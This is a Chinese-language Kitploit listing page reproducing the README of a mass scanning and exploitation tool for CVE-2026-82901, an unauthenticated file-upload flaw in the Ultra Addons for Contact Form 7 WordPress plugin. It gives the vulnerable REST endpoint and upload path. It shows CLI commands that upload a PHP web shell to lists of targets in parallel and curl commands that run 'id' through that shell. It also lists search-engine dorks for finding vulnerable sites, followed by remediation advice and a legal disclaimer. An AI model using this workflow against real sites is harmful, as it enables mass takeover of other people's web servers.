Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-82901 — 针对 CVE-2026-82901 的 GUI 和 CLI 批量扫描与利用工具,该漏洞是 Ultra Addons for Contact Form 7 WordPress 插件中的未认证任意文件上传漏洞。 | Kitploit
工具/GitHubGitHub/tonydelouvre/cve-2026-82901
侦察漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试
GitHubtonydelouvre/cve-2026-82901

CVE-2026-82901

针对 CVE-2026-82901 的 GUI 和 CLI 批量扫描与利用工具,该漏洞是 Ultra Addons for Contact Form 7 WordPress 插件中的未认证任意文件上传漏洞。

查看仓库
121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-82901 — Ultra Addons for Contact Form 7 批量利用工具(GUI + CLI)

一款针对 CVE-2026-82901 的扫描与批量利用工具——该漏洞是 WordPress 插件 Ultra Addons for Contact Form 7(Themefic)中的未认证任意文件上传漏洞(CWE-434,CVSS 3.1 9.8 严重),影响版本 ≤ 3.5.50。

提供两种界面:

  • GUI(Tkinter)——用于日常使用,支持实时结果监控。
  • CLI——用于自动化、脚本编写和无头批量运行。

⚠️ 仅限授权测试。 参见免责声明。


漏洞摘要

项目详情
CVECVE-2026-82901
插件ultimate-addons-for-contact-form-7(Ultra Addons for Contact Form 7)
厂商Themefic
类别CWE-434 — 危险类型文件的不受限上传
受影响版本≤ 3.5.50
修复版本3.5.51+
CVSS 3.19.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
认证要求无需认证(未认证)
存在漏洞的函数uacf7_wpcf7_mail_components(PDF Generator 模块)
攻击向量CF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback,携带 signature 字段
写入路径/wp-content/uploads/uacf7-uploads/
影响任意文件上传 → 当 PHP 在上传目录内执行时导致 RCE
参考NVD · CVE.org

利用条件: 必须启用 PDF Generator 模块,且表单中必须包含 uacf7_signature 字段。该模块默认处于禁用状态,因此并非所有运行受影响插件版本的站点都实际可被利用。


功能特性

  • 插件指纹识别 + 从 readme.txt 检测版本
  • 自动发现 CF7 页面(候选路径 + sitemap.xml)并验证表单
  • 从 HTML 中自动检测签名字段名称
  • 向 CF7 REST 端点进行 multipart 上传,并提供非 REST 回退方案
  • 通过唯一标记验证 shell 执行
  • check(映射)与 exploit(上传 + 验证)模式
  • 多线程批量模式,支持目标列表文件
  • 支持相对 --form-url(/contact/),按目标解析
  • 目标列表支持可选的第二列,用于指定每个目标的表单路径
  • 输出:results.jsonl(完整详情)+ hits.txt(成功目标)
  • GUI:彩色编码结果表格、实时日志、开始/停止按钮、CSV 导出

安装

git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt

requirements.txt

requests>=2.31.0
urllib3>=2.0.0

tkinter 随 Python 一起提供。如果缺失(Linux):sudo apt install python3-tk。


用法 — GUI

python gui_82901.py

GUI 截图

工作流程:

  1. 输入单个 URL 或 选择目标列表文件(二选一)。
  2. 表单 URL:留空以自动发现,或输入 /contact/(相对路径),或输入绝对 URL。
  3. 选择模式:check 或 exploit。
  4. 根据需要调整线程数(从 10 开始)、超时时间和代理。
  5. 点击 ▶ 开始。

表格行颜色:

颜色含义
🟩 绿色shell_verified — 成功,shell 列已填充
🟨 黄色vuln_candidate_sig_field — 强候选
🟥 红色error

辅助按钮:■ 停止(安全关闭)、清除日志、打开命中项、打开输出、导出 CSV。


用法 — CLI

单个目标

# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check

# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
    --form-url https://target.tld/contact/ --shell-name wp_82901.php

批量模式

# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/

# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/

# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10

targets.txt 格式

# one URL per line
https://a.tld

# optional second column: a per-target form path/URL
https://b.tld    /hubungi-kami/
https://c.tld |  https://c.tld/custom-contact/
https://d.tld ;  /kontak/

第二列分隔符可以是 TAB、| 或 ;。优先级:按目标覆盖 > 全局 --form-url > 自动发现。

CLI 参数

参数默认值描述
-u, --url—单个目标基础 URL
-l, --list—目标列表文件
--modecheckcheck 或 exploit
--form-url—绝对 URL 或 相对路径(/contact/)
--field自动签名字段名称
--shell-namewp_82901.php上传文件的名称
--verify-url—已知的 shell URL
-j, --threads10工作线程数
--timeout25请求超时(秒)
--proxy—HTTP(S) 代理
--outputcve_2026_82901_results.jsonlJSONL 结果文件
--vuln-listhits.txt成功目标文件
-q, --quiet关闭减少输出

结果状态

状态含义
not_found未检测到插件
not_vulnerable插件存在,版本 > 3.5.50(已修复)
plugin_found_version_unknown插件存在,版本无法读取
plugin_ok_no_signature_field插件存在,无签名字段 → PDF 模块可能已关闭
vuln_candidate_sig_field插件 ≤ 3.5.50 且 存在签名字段 → 强候选
plugin_found_no_form插件存在,未找到 CF7 表单
shell_verified成功 — shell 已上传并执行
exploit_inconclusive已尝试上传,验证失败
error处理目标时发生异常

为什么会出现 exploit_inconclusive?

这并不意味着目标安全。可能的原因:

  1. PDF Generator 模块已禁用(默认关闭)——最常见的原因。
  2. CF7 在文件到达处理程序之前拒绝了文件类型/mimetype。
  3. 上传路径使用了不可预测的时间戳/哈希前缀。
  4. 签名字段名称与回退列表不匹配。
  5. 上传目录不执行 PHP(加固措施)。

使用 check 模式筛选出 vuln_candidate_sig_field,然后使用正确的 --field/--shell-name 对单个目标运行 exploit。


手动验证

在获得 shell_verified 状态后,测试执行:

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
#    uid=33(www-data) gid=33(www-data) groups=33(www-data)

POCBIT-82901-OK 标记是该工具用于验证执行情况的字符串。


侦察

用于查找目标的 Dorks(Google / FOFA / Shodan):

body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
body="uacf7" "wpcf7"

修复建议

  • 升级插件至 3.5.51+。
  • 如果未使用 PDF Generator 模块,请将其禁用。
  • 限制 /wp-content/uploads/ 目录内的 PHP 执行(例如 php_flag engine off,阻止 .php 处理器)。
  • 添加 WAF 规则,阻止向 CF7 反馈端点上传可执行文件。
  • 定期监控是否存在易受攻击的插件版本。

法律声明与免责声明

本工具仅用于合法、经授权的安全测试,例如获得书面许可的渗透测试、在官方范围内的漏洞赏金计划,或对您自己拥有的系统进行安全研究。

使用本工具未经授权访问系统是违法的,可能构成刑事犯罪。作者对未经授权使用所造成的损害、数据丢失或法律后果不承担任何责任。

使用本工具即表示您声明对您输入的每个目标均拥有明确的测试许可。


仓库结构

.
├── gui_82901.py            # GUI (Tkinter)
├── mass_82901.py           # CLI version (patched, mass mode)
├── requirements.txt
├── README.md
├── LICENSE
└── docs/
    └── screenshot.png      # GUI screenshot

致谢

  • 漏洞披露:CVE-2026-82901 的致谢方
  • 参考 PoC:murrez/CVE-2026-82901 · PoCbit
  • 本工具:TonyDeLouvre — @tonydelouvre

许可证

基于 MIT 许可证发布。参见 LICENSE。

下载工具